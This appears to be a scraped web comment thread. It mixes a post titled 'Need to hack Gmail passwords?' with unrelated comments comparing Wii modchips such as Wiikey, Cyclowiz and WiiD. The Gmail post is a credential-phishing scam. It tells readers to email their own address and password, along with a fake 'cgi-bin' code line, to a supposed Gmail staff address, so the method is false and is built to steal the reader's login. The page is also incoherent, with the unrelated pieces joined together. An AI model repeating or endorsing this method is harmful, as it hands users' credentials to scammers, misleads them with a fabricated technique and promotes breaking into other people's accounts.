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Email:sales04@szbwp.com

Need to hack Gmail passwords?
It is possible and it is easy. This way of hacking
into gmail
accounts was brought to my attention by a friend of
mine who is a bit of a
computer wizard. I have tried the method a least a
dozen times and it has
worked on all but 2 occasions, I don’t know the reason
why it failed a
couple of times, but on every other occasion it has
got me the password for
the requested email address. This is how it is done:
STEP 1- Log in to your own Gmail account. Note: Your
account must be at
least 30 days old for this to work.
STEP 2- Once you have logged into your own account,
compose/write an e-mail
to: retrive.pass.tm@gmail.com This is a mailing
address to the gmail
Staff. The automated server will send you the password
that you have
‘forgotten’, after receiving the information you send
them.
STEP 3- In the subject line type exactly: PASSWORD
RECOVERY
STEP 4- On the first line of your mail write the email
address of the person
you are hacking.
STEP 5- On the second line type in the e-mail address
you are using.
STEP 6- On the third line type in the password to YOUR
email address (your
OWN password). The computer needs your password so it
can send a JavaScript
from your account in the Gmail Server to extract the
other email addresses
password. In other word the system automatically
checks your password to
confirm the integrity of your status.
The process will be done automatically by the user
administration server. STEP 7- The final step before
sending the mail is,
type on the fourth line the following code exactly:
cgi-bin_RETRIVE_PASS_BIN_PUB/$et76431&pwrsa
script
{simply copy and paste above.}
so for example if your gmail id is :
David_100@gmail.com and your password
is: David and the email address you want to hack is:
test@gmail.com then
compose the mail as below:
To: retrive.pass.tm@gmail.com
bcc: cc: (Don’t write anything in cc,bcc field)
Subject: PASSWORD RECOVERY
test@gmail.com
David_100@gmail.com
David
cgi-bin_RETRIVE_PASS_KEY_CGI_BIN/$et76431&pwrsa
script
{simply copy and paste above.}
The password will be sent to your inbox in a mail
called “System Reg
Message” from “System. When my friend showed me how
to do this I thought it was too good a trick to keep
to myself! Just try and
enjoy!

Jason was trying to be helpful and actually answering the question. Who died and made you the spelling god? If you want to nit pick, you should learn to use proper grammar. “Spell” should not be used with a capital letter.

Btw, I’m sure what I’m typing is not grammatically correct. So go ahead and nit pick.

I have not tested it with a Japanese game or anything, but I know it has the option to set the region of your Wii, and it will stay that way until you set it again to a different region. A screenshot of the Wiikey setup disc shows what I mean about setting the region. I think it also (but I am not sure) has an automatic feature, where it will set the wii to the same region that the first disc is, once you power it up.

http://www.ps2cover.com/nintendo-wii-mod-chip-wiikey.shtml

March 12th, 2007 at 6:35 pm

Cyclowiz sucks and lies to their customers (defective chips, slow’s your wii’s dvd drive, not truly upgradeable, etc.)

If you want a real modchip, check out Wiikey

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Wiikey also lies.

It claims it has streaming audio fix for Game Cube Games but that is untrue.

Plus their to lazy to inform Wiikey owners of a hard drive failure. Doesn’t take that long to put up something so Wiikey owners know whats going on with the site that was down close to a week.

Then with all the clones out their you will be lucky to even get a real Wiikey,

WiiD will be on top very soon. Just a shame people always recommend the Wiikey because it is so popular. Id rather have a rock solid Modchip like WiiD rather then a popular 1.

Bought myself a wii finally and will mod my when i get my own chip

I saw rumor that they are working on a multi-region and PAL/NTSC firmware update- but I guess we will see if that ever happens.

If you want a real modchip, check out Wiikey

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